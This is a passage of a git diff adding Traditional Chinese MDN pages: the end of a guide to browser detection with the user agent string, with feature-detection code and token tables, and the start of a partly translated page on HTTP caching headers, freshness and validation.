+</pre>
+
+ <p>這程式<strong>一定</strong>會讓瀏覽器在不嗅探用戶代理的情況下測試功能。要作類似這樣的事情，<strong>完全沒有</strong>動用用戶代理嗅探的理由。</p>
+
+ <p>最後，上面的程式碼還附帶一個必須考量的，有關跨瀏覽器的關鍵問題：不要在不支援的瀏覽器，使用到要測試的API。這聽來簡單，但有時候不是這樣：同樣以上面為例，在簡寫正規表達式使用 lookbehind（如 <code>/reg/igm</code>）會讓不支援該功能瀏覽器的解析器出錯。因此，你需要使用 <em>new RegExp("(?&lt;=look_behind_stuff)");</em> 而非 <em>/(?&lt;=look_behind_stuff)/</em>，哪怕 lookbehind 已經支援了。</p>
+ </dd>
+ <dt>漸進增強（Progressive Enhancement）</dt>
+ <dd>此設計技術與網站開發的「層次」有關：它運用下而上的途徑、從簡單的層次開始，透過一連串的層次，漸漸增強網站的能力。</dd>
+ <dt>優雅降級（Graceful degradation）</dt>
+ <dd>這種由上而下的途徑，是先在建造網站時，就用上所有需要的功能，再調整到令舊版瀏覽器也能執行。這種途徑與漸進增強相比，難度更高、效率也更糟，不過在某些情況下也可能更管用。</dd>
+ <dt>行動設備偵測（Mobile Device Detection）</dt>
+ <dd>
+ <p>檢查是否透過行動設備上網，大概是用戶代理嗅探最常見的用途與誤用。偵測後要作什麼事，卻往往是被忽略的問題所在。開發者通常透過用戶代理嗅探，將用戶設備導向至易於觸碰的小螢幕，以便加強網站體驗。</p>
+
+ <p>用戶代理這方面有時有用，但問題是所有設備不完全相同：有些行動設備的尺寸很大、有些桌機有一小塊觸控螢幕、有些人使用完全是不同世界的智慧型電視、甚至還有藉由翻轉平板、來動態改變設備長寬的人！</p>
+
+ <p>因此，用戶代理嗅探絕不是好辦法。但是，還有更好的選擇：例如使用 <a href="/zh-TW/docs/Web/API/Navigator/maxTouchPoints">Navigator.maxTouchPoints</a> 來檢查用戶設備有沒有觸控螢幕；接著在 <em>if (!("maxTouchPoints" in Navigator)) { /*程式寫在這*/}</em> 時，就切回用戶代理檢查。利用這個訊息，來檢查設備有沒有觸控螢幕。</p>
+
+ <p>不要為了觸控設備，就換掉整個排版。這只會讓自己更費工、維護更頭痛；而是加點讓觸摸更便利的東西：像是好按的按鈕（這可以透過在 CSS 增加字體大小完成）。以下是針對 #exampleButton 在手機環境時，增加 1em 的程式範例：</p>
+ </dd>
+ <dd>
+ <pre class="brush: js notranslate">var hasTouchScreen = false;
+if ("maxTouchPoints" in navigator) {
+    hasTouchScreen = navigator.maxTouchPoints &gt; 0;
+} else if ("msMaxTouchPoints" in navigator) {
+    hasTouchScreen = navigator.msMaxTouchPoints &gt; 0;
+} else {
+    var mQ = window.matchMedia &amp;&amp; matchMedia("(pointer:coarse)");
+    if (mQ &amp;&amp; mQ.media === "(pointer:coarse)") {
+        hasTouchScreen = !!mQ.matches;
+    } else if ('orientation' in window) {
+        hasTouchScreen = true; // depedicated, but good fallback
+    } else {
+        // Only as a last resort, fall back to user agent sniffing
+        var UA = navigator.userAgent;
+        hasTouchScreen = (
+            /\b(BlackBerry|webOS|iPhone|IEMobile)\b/i.test(UA) ||
+            /\b(Android|Windows Phone|iPad|iPod)\b/i.test(UA)
+        );
+    }
+}
+if (hasTouchScreen)
+    document.getElementById("exampleButton").style.padding="1em";</pre>
+ </dd>
+ <dd>
+ <p>針對螢幕尺寸，則使用 <em>window.innerWidth</em> 與 <em>window.addEventListener("resize", function(){ /*更新螢幕尺寸依賴的東西*/ })</em>。</p>
+
+ <p>不要刪減小螢幕能看到的資訊，這只會激怒被逼著切到桌面版的用戶們；而是應該針對小螢幕，提供行列更少，但頁面更長的資訊；針對大螢幕，則提供行列更多，但頁面更短的資訊。這種效果能透過 <a href="/zh-TW/docs/Learn/CSS/CSS_layout/Flexbox">flexboxes</a> 實現。如果需要有限支援舊版本，請使用<a href="/zh-TW/docs/Learn/CSS/CSS_layout/Floats">floats</a> 屬性。</p>
+ </dd>
+ <dd>
+ <p>另外，試著把不相關或不重要的資訊放到下面、然後把資料放得有意義。然後雖然有點離題，但下面的詳細示例，可能會給你有力的見解和想法，放棄用戶代理嗅探。</p>
+
+ <p>我們先想像一個由各種貓貓或狗狗的訊息框，所組成的頁面；每個訊息框都有圖片、概覽、還有歷史趣聞；而圖片即使在大螢幕上，也要保持最大的合理尺寸。為了讓內容有意義的排列在一起，所有的貓貓訊息框都和狗狗訊息框分開、兩種動物都不會混在一起。在大螢幕上，會節省具有多列的空間，從而減少了圖片左右兩側的間距。訊息框則會透過平分而被拆分為多列。</p>
+
+ <p>現在我們能假設在原始碼裡面，狗狗訊息框都在上面、而貓貓訊息框都在下面。而這兩個框框都在同一個父元素之下。很明顯，有一個狗狗訊息框，就在貓貓訊息框的上面。第一個方法，就是使用水平的 <a href="/zh-TW/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> 把內容組合起來。這樣，當頁面顯示給最終用戶時，狗狗訊息框就在頁面上方、而貓貓訊息框就在頁面下方；第二個方法，就是使用 <a href="/zh-TW/docs/Web/CSS/Layout_cookbook/Column_layouts">Column</a> layout and resent 把所有的狗狗與貓貓排到右邊。在這種情況下，就能給沒有 flexboxes/multicolumns 的老舊版本提供適當的呈現：他們會呈現一列非常寬的框。</p>
+
+ <p>再考慮一下這個例子：如果有人是想來看貓貓的，那我們就可以在原始碼裡面，把貓貓放到狗狗的上面。這樣一來，更多的人就可以在更小的螢幕上（內容折疊成一列）更快找到需要的內容。</p>
+ </dd>
+ <dd>
+ <p>接著，確保程式是動態性的。用戶可以翻轉手機，以改變頁面長寬；或是未來使用某些類似功能的怪設備。不要為了用戶翻轉行為焦頭額爛、在使用開發工具確實檢查前也不要自滿。實踐的最佳辦法，就是在一個函式內透過螢幕尺寸，把所有可移動內容的程式分開。而分開這些程式的觸發點，則放在頁面載入、或觸動 <a href="/zh-TW/docs/Web/API/Window/resize_event">resize</a> 事件時。如果載入新佈局頁面前，需要在函式內計算很多東西，請考慮對事件偵聽器使用 debouncing 以避免過度呼叫。</p>
+
+ <p>另請注意，<code>(max-width: 25em)</code>, <code>not all and (min-width: 25em)</code>, and <code>(max-width: 24.99em)</code>是不一樣的：<code>(max-width: 25em)</code> 會排除 <code>(max-width: 25em)</code>；而 <code>not all and (min-width: 25em)</code> 則包含了 <code>(max-width: 25em)</code>。<code>(max-width: 24.99em)</code> 是仆街版的 <code>not all and (min-width: 25em)</code>。不要用 <code>(max-width: 24.99em)</code>，因為在字型很大、或解析度很高時，版面<em>可能</em>會跑掉。謹慎選擇正確的 media query、以及在 Javascript 正確使用 &gt;=, &lt;=, &gt;, &lt; 等運算符。因為 Javascript 可能把這些東西都混為一談，然後你的網站就會在某些尺寸下亂閃亂排。因此，徹底測試在不同寬高下，網站會怎麼改變，以確保佈局不出錯。</p>
+ </dd>
+</dl>
+
+<h2 id="把用戶代理嗅探搞到最好">把用戶代理嗅探搞到最好</h2>
+
+<p>在探討所有能替代用戶代理嗅探的方法後，還是可能會有合理的理由，用到用戶代理嗅探。</p>
+
+<p>其中一個例子，就是透過用戶代理嗅探，提供觸控螢幕的支援。詳請參閱上面的「行動設備偵測」章節。另一個例子，則是修復在沒有自動更新功能的瀏覽器上，所發生的錯誤。Windows 的 Internet Explorer 與 iOS 的 Webkit 就是個好實例。</p>
+
+<p>Internet Explorer 在第九代以前，有著各種難以置信的問題。問題涵蓋了渲染、CSS、API 等方方面面。不過 IE9 之前的版本，是個相當<s>機車</s>特殊的例外。我們可以輕易透過該瀏覽器的特定功能，檢測到相關訊息。</p>
+
+<p>蘋果強迫所有瀏覽器使用 Webkit 核心，所以 Webkit 的情形更糟糕；用戶也無法在舊設備上，得到更新的瀏覽器。大多數錯誤都能找出來，但某些錯誤，需要花更多時間抓出來。在這種情況下，使用用戶代理嗅探來可能是更有益的。</p>
+
+<pre class="brush: js notranslate">var UA=navigator.userAgent, isWebkit=/\b(iPad|iPhone|iPod)\b/.test(UA) &amp;&amp;
+               /WebKit/.test(UA) &amp;&amp; !/Edge/.test(UA) &amp;&amp; !window.MSStream;
+
+var mediaQueryUpdated = true, mqL = [];
+function whenMediaChanges(){mediaQueryUpdated = true}
+
+var listenToMediaQuery = isWebkit ? function(mQ, f) {
+    if(/height|width/.test(mQ.media)) mqL.push([mQ, f]);
+    mQ.addListener(f), mQ.addListener(whenMediaChanges);
+} : function(){};
+var destroyMediaQuery = isWebkit ? function(mQ) {
+    for (var i=0,len=mqL.length|0; i&lt;len; i=i+1|0)
+        if (mqL[i][0] === mQ) mqL.splice(i, 1);
+    mQ.removeListener(whenMediaChanges);
+} : listenToMediaQuery;
+
+var orientationChanged = false;
+addEventListener("orientationchange", function(){
+    orientationChanged = true;
+}, PASSIVE_LISTENER_OPTION);
+
+addEventListener("resize", setTimeout.bind(0,function(){
+    if (orientationChanged &amp;&amp; !mediaQueryUpdated)
+        for (var i=0,len=mqL.length|0; i&lt;len; i=i+1|0)
+            mqL[i][1]( mqL[i][0] );
+    mediaQueryUpdated = orientationChanged = false;
+},0));</pre>
+
+<h2 id="你想找到用戶代理的哪個資訊">你想找到用戶代理的哪個資訊</h2>
+
+<p>因為用戶代理字串的差異處並沒有統一，這方面會頗為棘手。</p>
+
+<h3 id="瀏覽器名稱">瀏覽器名稱</h3>
+
+<p>當別人說要「偵測瀏覽器」的時候，他們通常要的是「偵測排版引擎」：你真的要偵測到用戶在使用 Firefox 抑或相對應的 SeaMonkey，或偵測到在使用 Chrome 抑或相對應的 Chromium 嗎？還是說只要偵測瀏覽器用的是 Gecko 或是 WebKit 排版引擎？如果你要的是後者，請直接看後面的章節。</p>
+
+<p>雖然有 Internet Explorer 這個明顯的例外，多數瀏覽器通常會把瀏覽器名字與版本用成 <em>BrowserName/VersionNumber</em>（<em>瀏覽器名/版本名</em>）格式。然而，因為用戶代理不是只有瀏覽器名提供這種格式，你不能找到瀏覽器的名字，你只能檢查該名字是否為你要尋找的目標。也請注意瀏覽器還會「造假」：例如 Chrome 就會同時宣稱自己是 Chrome 與 Safari。因此，如果要找出 Safari 瀏覽器，你就要在找出 Safari 字串的同時，排除掉 Chrome 字串。此外，Chromium 也常常宣稱自己是 Chrome、而 Seamonkey 有時也會宣稱自己是 Firefox。</p>
+
+<p>另請注意，不要針對 BrowserName 使用簡單的正規表達式，因為用戶代理可能有不是 Keyword/Value 的字串。例如 Safari 與 Chrome 在字串內就包含了 like Gecko（類似 Gecko）。</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"></th>
+   <th scope="col">必定包含</th>
+   <th scope="col">必定不包含</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Firefox</td>
+   <td>Firefox/xyz</td>
+   <td>Seamonkey/xyz</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Seamonkey</td>
+   <td>Seamonkey/xyz</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Chrome</td>
+   <td>Chrome/xyz</td>
+   <td>Chromium/xyz</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Chromium</td>
+   <td>Chromium/xyz</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Safari</td>
+   <td>Safari/xyz</td>
+   <td>Chrome/xyz or Chromium/xyz</td>
+   <td>Safari 給出了兩個版本號、一個是偏技術性的 Safari/xyz token，另一個則是偏向用戶友好的 Version/xyz token</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>
+    <p>OPR/xyz <sup>[1]</sup></p>
+
+    <p>Opera/xyz <sup>[2]</sup></p>
+   </td>
+   <td></td>
+   <td>
+    <p><sup>[1]</sup> Opera 15+ (Blink-based engine)</p>
+
+    <p><sup>[2]</sup> Opera 12- (Presto-based engine)</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>; MSIE xyz;</td>
+   <td></td>
+   <td>Internet Explorer 並不使用 <em>BrowserName/VersionNumber</em> 格式</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>當然這裡不保證沒有其他瀏覽器，騎劫其他瀏覽器的可能，例如過去的 Chrome 就騎劫過 Safari。這也是為什麼透過用戶代理字串來探測瀏覽器是靠不住的，它也只能用在探測版本號（不太可能有騎劫過去版本號的情形）。</p>
+
+<h3 id="瀏覽器版本">瀏覽器版本</h3>
+
+<p>瀏覽器版本通常，但不是每次，都把數值放在用戶代理字串的 <em>BrowserName/VersionNumber</em> token。把版本號放在 MSIE 之後的 Internet Explorer、還有加了 Version/<em>VersionNumber</em> token 的第十代以後 Opera 版本就是明顯的例子。</p>
+
+<p>再次強調，因為無法確保尋找的瀏覽器會包含有效的數字，請確認你針對的瀏覽器，選取了正確的 token。</p>
+
+<h3 id="排版引擎">排版引擎</h3>
+
+<p>如同前述，多數情況下，找尋排版引擎（rendering engine）更為恰當。這能讓少有人知的瀏覽器，不致遭到排除在外。使用某一種排版引擎的瀏覽器，共享相同的網頁瀏覽：這種「一處有效、處處有效」的假設，是很公平的。</p>
+
+<p>目前有五大主流的排版引擎：Trident, Gecko, Presto, Blink 與 WebKit。因為排版引擎嗅探頗為常見，許多用戶代理也會加入其他的排版引擎，以觸發探測。所以在偵測排版引擎的時候，當心別錯誤觸發。</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"></th>
+   <th scope="col">絕對有</th>
+   <th scope="col"></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Gecko</td>
+   <td>Gecko/xyz</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>WebKit</td>
+   <td>AppleWebKit/xyz</td>
+   <td>請注意 WebKit 瀏覽器會加上「like Gecko」字串。如果探測不加留意，就會錯誤觸發針對 Gecko 的情形。</td>
+  </tr>
+  <tr>
+   <td>Presto</td>
+   <td>Opera/xyz</td>
+   <td><strong>注意：</strong>Presto 在 Opera15 以後不再使用（請參見 Blink）</td>
+  </tr>
+  <tr>
+   <td>Trident</td>
+   <td>Trident/xyz</td>
+   <td>Internet Explorer 把這個 token 放在 User Agent String 的 <em>comment</em>（註解）部份</td>
+  </tr>
+  <tr>
+   <td>EdgeHTML</td>
+   <td>Edge/xyz</td>
+   <td>The non-Chromium Edge puts its engine version after the <em>Edge/</em> token, not the application version.<br>
+    <strong>Note:</strong> EdgeHTML is no longer used in Edge browser builds &gt;= version 79 (see 'Blink').</td>
+  </tr>
+  <tr>
+   <td>Blink</td>
+   <td>Chrome/xyz</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="排版引擎版本">排版引擎版本</h2>
+
+<p>除了 Gecko 這個著名的例外，多數排版引擎版本的 token 通常會是 <em>RenderingEngine/VersionNumber</em>（排版引擎/版本號）。Gecko 把版本號放在用戶代理內，位於 <code>rv:</code> 字串後的註解部份。但在 Gecko 14（攜帶版）或 Gecko 17（桌面版）以後，版本號也出現在 Gecko/version token 裡面（之前的版本則是寫建置日期、固定的日期則呼叫 GeckoTrail）。</p>
+
+<h2 id="作業系統">作業系統</h2>
+
+<p>大多數的用戶代理都會表明自己固定字符串在個作業系統上運行（儘管如 Firefox OS 這種以網路為中心的平台並沒有這樣做），不過格式的差異卻頗大。它是個固定字串，位於用戶代理註解部份的兩個分號間。對每個瀏覽器而言。這些字串是特定的。這些字串給出了作業系統、通常也給出他們的版本以及在哪個設備上運作（32位元或64位元、抑或 Mac 的 Intel/PPC）。</p>
+
+<p>如同其他個案，這些字串可能在未來會有所變動，只應該用於檢測已經出現的瀏覽器。在瀏覽器的新版本出現後，也要進行技術研究，以確保程式能夠適應。</p>
+
+<h3 id="手機、平板、桌機">手機、平板、桌機</h3>
+
+<p>最常實行用戶代理嗅探的理由，是判別瀏覽器是在哪個設備執行。這麼做的目的是提供不同類型的 HTML 內容給不同類型的上網設備。</p>
+
+<ul>
+ <li>絕對不要假設某個瀏覽器或排版引擎，只在某種類型的設備執行。更不要對不同的瀏覽器或排版引擎，給予不同的預設值。</li>
+ <li>也絕對不要用 OS token 來定義該瀏覽器在手機、平板、抑或桌機上執行。作業系統可能在不只一種設備運作。例如，Android 可以在手機、也可以在平板上運作。</li>
+</ul>
+
+<p>以下表格概括了主要的瀏覽器製造者，如何表明它們的瀏覽器在手機上運作：</p>
+
+<table>
+ <caption>主要瀏覽器的用戶代理字串</caption>
+ <thead>
+  <tr>
+   <th scope="col">瀏覽器</th>
+   <th scope="col">規則</th>
+   <th scope="col">示例</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Mozilla (Gecko, Firefox)</td>
+   <td>註解內的 <a href="/zh-TW/docs/Gecko_user_agent_string_reference"><strong>Mobile</strong> 或 <strong>Tablet</strong> token</a></td>
+   <td>Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0</td>
+  </tr>
+  <tr>
+   <td>WebKit-based (Android, Safari)</td>
+   <td>註解外的 <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3"><strong>Mobile Safari</strong> token</a></td>
+   <td>Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30</td>
+  </tr>
+  <tr>
+   <td>Blink-based (Chromium, Google Chrome, Opera 15+)</td>
+   <td>註解外的 <a href="https://developers.google.com/chrome/mobile/docs/user-agent"><strong>Mobile Safari</strong> token</a></td>
+   <td>Mozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047</td>
+  </tr>
+  <tr>
+   <td>Presto-based (Opera 12-)</td>
+   <td>
+    <p>註解內的 <a href="http://my.opera.com/community/openweb/idopera/"><strong>Opera Mobi/xyz</strong> token</a> (Opera 12-)</p>
+   </td>
+   <td>
+    <p>Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>註解內的 <strong>IEMobile/xyz</strong></td>
+   <td>Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>總之，我們建議藉著找出用戶代理的「Mobi」字串，來偵測行動設備。</p>
+
+<div class="note">
+<p>如果設備尺寸夠大的話，它就不會標示「Mobi」。針對這種情形，你應該提供桌面版網站。另外，因為最近桌面設備的觸控螢幕越來越多，為了提供最佳習慣，網站應該支援觸控輸入。</p>
+</div>
diff --git a/files/zh-tw/web/http/caching/index.html b/files/zh-tw/web/http/caching/index.html
new file mode 100644
index 0000000000..a9b7cd7ecc
--- /dev/null
+++ b/files/zh-tw/web/http/caching/index.html
@@ -0,0 +1,154 @@
+---
+title: HTTP caching
+slug: Web/HTTP/Caching
+translation_of: Web/HTTP/Caching
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>藉由重複使用先前取過的資源，網站與網頁應用程式能夠顯著地提升效能。</div>
+
+<div>caching可以減少網路傳輸量以降低一個資源可展示的延遲時間。</div>
+
+<div>善用 HTTP caching可以讓網站可以回應更多請求。</div>
+
+<h2 id="不同種類的快取">不同種類的快取</h2>
+
+<p>快取是一種儲存伺服器回復的訊息且用此存檔回覆給請求者的技術。當快取伺服器有存者一份請求檔案的回覆，快取伺服器會攔截此請求訊息，回覆給請求者存在快取上的檔案，而不是從請求者請求的網頁伺服器去請求原始檔案。這樣的運作機制能達成下列幾個目的:讓網頁伺服器不用處理每個從客戶端發出的請求，減輕機器運作的負擔。且由於傳輸起點距離更接近請求端，能讓整體請求的過程效能更加，整體請求需要更少的時間傳送資源。對一個要達成高效能的網站來講，快取一個很重要的一塊。另一方面來講，快取的請求、回復、儲存機制必須設定好，別讓存在快取伺服器的檔案都是同一個:重要的是當資源改變才去使用快取，而不是一直存放著。</p>
+
+<p>快取有好幾種，但他們可以分為兩大類:共用和私有的快取。共用的快取定義是指快取伺服器上存的回覆能給好幾個不同的請求者服務。而私有的快取就相對只會服務一個請求者。此頁面講到的快取大部分都是指代理伺服器和瀏覽器的快取，但是快取還有像是閘道器快取、CDN快取、反向代理伺服器快取 、負載平衡器快取，它們都是部屬在網頁伺服器那邊，讓網站和網頁應用程式更加穩定，效能更好，且有更好的擴增姓。</p>
+
+<p><img alt="What a cache provide, advantages/disadvantages of shared/private caches." src="https://mdn.mozillademos.org/files/13777/HTTPCachtType.png" style="height: 573px; width: 910px;"></p>
+
+<h3 id="瀏覽器私有的快取">瀏覽器私有的快取</h3>
+
+<p>私有的快取只會服務一個使用者。你可能已經在設定瀏覽器的時候看過快取了。一個瀏覽器快取會存放所有透過HTTP協定下載的檔案。這類型的快取是為了方便使用者上下頁移動、存檔、或者檢視檔案原始碼等等，讓使用者不用再次向原始伺服器請求檔案。此機制同樣的增進線下瀏覽快取。</p>
+
+<h3 id="代理伺服器的共用快取">代理伺服器的共用快取</h3>
+
+<p>一個共用的快取伺服器，是指快取存放者能讓多位使用者請求的檔案副本。舉例來說，ISP或者你的公司內部網路可能會設置代理伺服器，用來服務每個使用者，讓一些較常用的檔案可以重複使用多次，減少網路交通的流量。</p>
+
+<h2 id="Targets_of_caching_operations">Targets of caching operations</h2>
+
+<p>HTTP caching is optional, but reusing a cached resource is usually desirable. However, common HTTP caches are typically limited to caching responses to {{HTTPMethod("GET")}} and may decline other methods. The primary cache key consists of the request method and target URI (oftentimes only the URI is used as only GET requests are caching targets). Common forms of caching entries are:</p>
+
+<ul>
+ <li>Successful results of a retrieval request: a {{HTTPStatus(200)}} (OK) response to a {{HTTPMethod("GET")}} request containing a resource like HTML documents, images or files.</li>
+ <li>Permanent redirects: a {{HTTPStatus(301)}} (Moved Permanently) response.</li>
+ <li>Error responses: a {{HTTPStatus(404)}} (Not Found) result page.</li>
+ <li>Incomplete results: a {{HTTPStatus(206)}} (Partial Content) response.</li>
+ <li>Responses other than {{HTTPMethod("GET")}} if something suitable for use as a cache key is defined.</li>
+</ul>
+
+<p>A cache entry might also consist of multiple stored responses differentiated by a secondary key, if the request is target of content negotiation. For more details see the information about the {{HTTPHeader("Vary")}} header <a href="#Varying_responses">below</a>.</p>
+
+<h2 id="控制快取">控制快取</h2>
+
+<h3 id="Cache-control_檔頭"><code>Cache-control</code> 檔頭</h3>
+
+<p>{{HTTPHeader("Cache-Control")}} 是HTTP/1.1用來特別指令快取如何處理回覆和要求的通用檔頭欄位。使用此欄位和多種的指令，來定義你的快取機制。</p>
+
+<h4 id="不要存任何快取">不要存任何快取</h4>
+
+<p>快取不該存取任何的使用者請求或者伺服器的回覆。每個請求都是送到原始的伺服器去取得資源。</p>
+
+<pre>Cache-Control: no-store
+</pre>
+
+<h4 id="快取需存取，但是要重新驗證">快取需存取，但是要重新驗證</h4>
+
+<p>快取伺服器在把已儲存的複製版本傳給請求者之前，先會送一個請求給網頁伺服器做驗證。</p>
+
+<pre>Cache-Control: no-cache</pre>
+
+<h4 id="私有或共用的快取">私有或共用的快取</h4>
+
+<p>共用(Public)這個指令指出此回覆訊息可以由任何快取給存取。這點可以變成很有用處，假如頁面有不容易快取成功的HTTP驗證的訊息或者回覆狀態碼，現在應該很容易被存取了。</p>
+
+<p>相對的，私有(Private)的指令指示快取只給一個使用者使用，且不能被共用的快取伺服器給儲存過。隱私視窗(無痕模式)的快取就可能是這樣子。</p>
+
+<pre>Cache-Control: private
+Cache-Control: public
+</pre>
+
+<h4 id="有效期限">有效期限</h4>
+
+<p>在這裡最重要的指令就是"<code>max-age=&lt;seconds&gt;</code>" ，意思是指存放在快取伺服器上的資源有剩下多少時間被認定還是新鮮的。 跟{{HTTPHeader("Expires")}}不太一樣，這個檔頭欄位快取指的是請求此回覆的日期和時間。對於程式中不常更新的檔案，你可以積極地使用此機制。這些檔案包含了，圖檔、CSS、Javascripts檔案等等。</p>
+
+<p>想要了解更多的話，請參見下面的<a href="#Freshness">Freshness</a>。</p>
+
+<pre>Cache-Control: max-age=31536000</pre>
+
+<h4 id="驗證">驗證</h4>
+
+<p>當使用"<code>must-revalidate</code>"指令時，快取伺服器一定要先發送請求訊息給網頁伺服器驗證，請已經確認是過有效期限且檔案有更新的回覆的話，舊的檔案就不能使用。假如想了解更多，請參見下面的<a href="#Cache_validation">Validation</a>。</p>
+
+<pre>Cache-Control: must-revalidate</pre>
+
+<h3 id="Pragma檔頭欄位"><code>Pragma</code>檔頭欄位</h3>
+
+<p>{{HTTPHeader("Pragma")}} 是HTTP/1.0的檔頭欄位，此檔頭欄位沒有特別指是HTTP回覆怎麼處理，所以用此來取代HTTP/1.1 <code>Cache-Control</code>通用檔頭欄位並不是很穩定。假如<code>Cache-Control</code> 檔頭欄位在傳送請求訊息時被省略掉了，此檔頭欄位運作的結果跟 <code>Cache-Control: no-cache</code>一樣<code>。此Pragma</code>欄位只能跟 HTTP/1.0的請求者使用。</p>
+
+<h2 id="Freshness">Freshness</h2>
+
+<p>Once a resource is stored in a cache, it could theoretically be served by the cache forever. Caches have finite storage so items are periodically removed from storage. This process is called <em>cache eviction</em>. On the other side, some resources may change on the server so the cache should be updated. As HTTP is a client-server protocol, servers can't contact caches and clients when a resource changes; they have to communicate an expiration time for the resource. Before this expiration time, the resource is <em>fresh</em>; after the expiration time, the resource is <em>stale</em>. Eviction algorithms often privilege fresh resources over stale resources. Note that a stale resource is not evicted or ignored; when the cache receives a request for a stale resource, it forwards this request with a {{HTTPHeader("If-None-Match")}} to check if it is in fact still fresh. If so, the server returns a {{HTTPStatus("304")}} (Not Modified) header without sending the body of the requested resource, saving some bandwidth.</p>
+
+<p>Here is an example of this process with a shared cache proxy:</p>
+
+<p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p>
+
+<p>The freshness lifetime is calculated based on several headers. If a "<code>Cache-control: max-age=N</code>" header is specified, then the freshness lifetime is equal to N. If this header is not present, which is very often the case, it is checked if an {{HTTPHeader("Expires")}} header is present. If an <code>Expires</code> header exists, then its value minus the value of the {{HTTPHeader("Date")}} header determines the freshness lifetime. Finally, if neither header is present, look for a {{HTTPHeader("Last-Modified")}} header. If this header is present, then the cache's freshness lifetime is equal to the value of the <code>Date</code> header minus the value of the <code>Last-modified</code> header divided by 10.<br>
+ The expiration time is computed as follows:</p>
+
+<pre>expirationTime = responseTime + freshnessLifetime - currentAge
+</pre>
+
+<p>where <code>responseTime</code> is the time at which the response was received according to the browser.</p>
+
+<h3 id="Revved_resources">Revved resources</h3>
+
+<p>The more we use cached resources, the better the responsiveness and the performance of a Web site will be. To optimize this, good practices recommend to set expiration times as far in the future as possible. This is possible on resources that are regularly updated, or often, but is problematic for resources that are rarely and infrequently updated. They are the resources that would benefit the most from caching resources, yet this makes them very difficult to update. This is typical of the technical resources included and linked from each Web pages: JavaScript and CSS files change infrequently, but when they change you want them to be updated quickly.</p>
+
+<p>Web developers invented a technique that Steve Souders called <em>revving</em><sup><a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">[1]</a></sup>. Infrequently updated files are named in specific way: in their URL, usually in the filename, a revision (or version) number is added. That way each new revision of this resource is considered as a resource on its own that <em>never</em> changes and that can have an expiration time very far in the future, usually one year or even more. In order to have the new versions, all the links to them must be changed, that is the drawback of this method: additional complexity that is usually taken care of by the tool chain used by Web developers. When the infrequently variable resources change they induce an additional change to often variable resources. When these are read, the new versions of the others are also read.</p>
+
+<p>This technique has an additional benefit: updating two cached resources at the same time will not lead to the situation where the out-dated version of one resource is used in combination with the new version of the other one. This is very important when web sites have CSS stylesheets or JS scripts that have mutual dependencies, i.e., they depend on each other because they refer to the same HTML elements.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13779/HTTPRevved.png"></p>
+
+<p>The revision version added to revved resources doesn't need to be a classical revision string like 1.1.3, or even a monotonously growing suite of number. It can be anything that prevent collisions, like a hash or a date.</p>
+
+<h2 id="Cache_validation">Cache validation</h2>
+
+<p>When a cached document's expiration time has been reached, it is either validated or fetched again. Validation can only occur if the server provided either a <em>strong validator</em> or a <em>weak validator</em>.</p>
+
+<p>Revalidation is triggered when the user presses the reload button. It is also triggered under normal browsing if the cached response includes the "<code>Cache-control: must-revalidate</code>" header. Another factor is the cache validation preferences in the <code>Advanced-&gt;Cache</code> preferences panel. There is an option to force a validation each time a document is loaded.</p>
+
+<h3 id="ETags">ETags</h3>
+
+<p>The {{HTTPHeader("ETag")}} response header is an <em>opaque-to-the-useragent</em> value that can be used as a strong validator. That means that a HTTP user-agent, such as the browser, does not know what this string represents and can't predict what its value would be. If the <code>ETag</code> header was part of the response for a resource, the client can issue an {{HTTPHeader("If-None-Match")}} in the header of future requests – in order to validate the cached resource.</p>
+
+<p>The {{HTTPHeader("Last-Modified")}} response header can be used as a weak validator. It is considered weak because it only has 1-second resolution. If the <code>Last-Modified</code> header is present in a response, then the client can issue an {{HTTPHeader("If-Modified-Since")}} request header to validate the cached document.</p>
+
+<p>When a validation request is made, the server can either ignore the validation request and response with a normal {{HTTPStatus(200)}} <code>OK</code>, or it can return {{HTTPStatus(304)}} <code>Not Modified</code> (with an empty body) to instruct the browser to use its cached copy. The latter response can also include headers that update the expiration time of the cached document.</p>
+
+<h2 id="Varying_responses">Varying responses</h2>
+
+<p>The {{HTTPHeader("Vary")}} HTTP response header determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.</p>
+
